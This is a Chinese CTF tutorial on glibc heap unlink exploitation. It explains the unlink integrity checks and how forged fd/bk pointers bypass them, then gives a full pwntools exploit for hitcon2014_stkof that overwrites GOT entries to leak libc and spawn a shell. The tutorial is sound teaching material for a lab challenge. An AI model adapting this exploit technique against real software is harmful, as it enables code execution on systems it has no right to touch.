unlink快速入门
0x01 正常unlink
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。
- 根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
- 设置FD->bk=BK
- 设置BK->fd=FD
下面看一下unlink的源码。
#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷贝到understand中进行源码阅读
size检查
第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \//第一个检查if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \FD = P->fd; \BK = P->bk; \//第二个检查if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \malloc_printerr (check_action, "corrupted double-linked list", P, AV); \else { \//完成上图的unlink过程//具体过程可以看源码} \
}
0x02 利用思路
要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。
1.第一种利用思路
利用条件
- 存在UAF可以修改p的fd和bk
- 存在一个指针指向p
利用方法
- 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
- free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
2.第二种方法思路
这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。
利用条件
- 可以修改p的下一个chunk->pre_size和inuse位
- 存在一个指针指向chunk p的内容部分
利用方法
- 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
- 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。
- 修改下一个chunk的inuse位。
- free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
0x03 例题 hitcon2014_stkof
1.查看程序保护
可以修改GOT表,没有PIE,很好。
试运行,没有输出。
2.查看程序
菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途
add函数
add就是正常的add
- 读入size
- malloc对应的size
- 0x602100记录的是已经申请的note数量
- 0x602140是heaparray指针数组
edit函数
没有验证输入的size大小,存在heap overflow
- 输入index
- 输入size
- 输入content
delete函数
- 将堆块释放
- 将数组置0
3.利用方法
这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。
- 构造fakechunk来unlink使bss段中的堆指针指向附近
- 利用edit函数,修改函数指针指向free_got
- 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址
- 将free_got改为system地址
- 调用free函数释放掉内容为"/bin/sh"的堆块来getshell
这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。
创建堆块
idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并
head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
构造完成的堆空间分布
0x602100存储了note数量
0x602140存储了指针数组,索引从1开始
构造fakechunk
如下图,黄框为构造的fakechunk
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
unlink
释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的
leak libc
将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
4.exp
from pwn import *
context.arch = 'amd64'
debug = 1if debug:context.log_level='debug'context.terminal = ['terminator','-x','sh','-c']p = process('./stkof')elf = ELF('./stkof')libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:p = remote('node3.buuoj.cn',28755)elf = ELF('./stkof')libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')def add(size):p.sendline('1')p.sendline(str(size))p.recvuntil('OK\n')def edit(idx, content):p.sendline('2')p.sendline(str(idx))p.sendline(str(len(content)))p.send(content)p.recvuntil('OK\n')def free(idx):p.sendline('3')p.sendline(str(idx))head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)free(3)free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)payload3 = p64(puts_plt)
edit(1, payload3)
free(2)p.recvuntil('OK\n')puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))payload4 = p64(system_addr)
edit(1, payload4)edit(4, '/bin/sh\x00')
free(4)p.interactive()
0x04 总结
- 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并
- 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink
1.创造fakechunk,这里针对64位
presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
2.覆盖下一个chunk
presize = 原pre_size-0x10
size从0x91改为0x90
3.触发unlink
free(chunk1)
chunk1会和前面的chunk0进行合并,断链
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18
参考链接:ctfwiki unlink
unlink快速入门相关推荐
- 1.3Python快速入门
2019独角兽企业重金招聘Python工程师标准>>> Python过程型程序设计快速入门 核心数据类型: 基本数据类型:数字.字符串 数字 整形:整数.布尔数 浮点型 字符型 组合 ...
- Shiro第一个程序:官方快速入门程序Qucickstart详解教程
目录 一.下载解压 二.第一个Shiro程序 1. 导入依赖 2. 配置shiro配置文件 3. Quickstart.java 4. 启动测试 三.shiro.ini分析 四.Quickstart. ...
- 计算机入门新人必学,异世修真人怎么玩?新手快速入门必备技巧
异世修真人怎么快速入门?最近新出来的一款文字修仙游戏,很多萌新不知道怎么玩?进小编给大家带来了游戏新手快速入门技巧攻略,希望可以帮到大家. 新手快速入门攻略 1.开局出来往下找婆婆,交互给点钱,旁边有 ...
- Spring Boot 2 快速教程:WebFlux 快速入门(二)
2019独角兽企业重金招聘Python工程师标准>>> 摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘 ...
- Apache Hive 快速入门 (CentOS 7.3 + Hadoop-2.8 + Hive-2.1.1)
2019独角兽企业重金招聘Python工程师标准>>> 本文节选自<Netkiller Database 手札> 第 63 章 Apache Hive 目录 63.1. ...
- 《iOS9开发快速入门》——导读
本节书摘来自异步社区<iOS9开发快速入门>一书中的目录,作者 刘丽霞 , 邱晓华,更多章节内容可以访问云栖社区"异步社区"公众号查看 目 录 前 言 第1章 iOS ...
- BIML 101 - ETL数据清洗 系列 - BIML 快速入门教程 - 序
BIML 101 - BIML 快速入门教程 做大数据的项目,最花时间的就是数据清洗. 没有一个相对可靠的数据,数据分析就是无木之舟,无水之源. 如果你已经进了ETL这个坑,而且预算有限,并且有大量的 ...
- python scrapy菜鸟教程_scrapy学习笔记(一)快速入门
安装Scrapy Scrapy是一个高级的Python爬虫框架,它不仅包含了爬虫的特性,还可以方便的将爬虫数据保存到csv.json等文件中. 首先我们安装Scrapy. pip install sc ...
- OpenStack快速入门
OpenStack云计算快速入门(1) 该教程基于Ubuntu12.04版,它将帮助读者建立起一份OpenStack最小化安装.我是五岳之巅,翻译中多采用意译法,所以个别词与原版有出入,请大家谅解.我 ...
- Expression Blend实例中文教程(2) - 界面快速入门
上一篇主要介绍Expression系列产品,另外概述了Blend的强大功能,本篇将用Blend 3创建一个新Silverlight项目,通过创建的过程,对Blend进行快速入门学习. 在开始使用Ble ...
最新文章
- windows 10 +fedora双系统引导修复
- 无线通信 -- 跳频技术
- 老鼠实验中老鼠的数量变化曲线
- Apache常见配置错误
- bootstrap --- 按钮
- 从零实现一个3D目标检测算法(2):点云数据预处理
- 最常见的水平拆分规则
- 第二场周赛(递归递推个人Rank赛)——题解
- 你的旧船票能否搭上这艘巨轮?——解读近5年大数据产业发展规划
- Python语言学习 (六)1.2
- 商品条形码(JBarcode)Java版(二)
- Lecture 5:无模型控制
- catalina 无法验证macos_拿什么拯救你,我的macOS Catalina——完整版补救措施来啦...
- 使用FFmpeg工具进行推流、拉流、截图、变速、转换,及常见问题处理
- hbase下载安装与配置
- 【软件工程】——详细设计说明书
- “打酱油”的意思:不关我的事,我只…
- 【HTTP】协议格式、请求
- DSS部署-2、环境准备
- 单例模式《单例模式概念、什么时候能用到单例模式、单例模式的好处》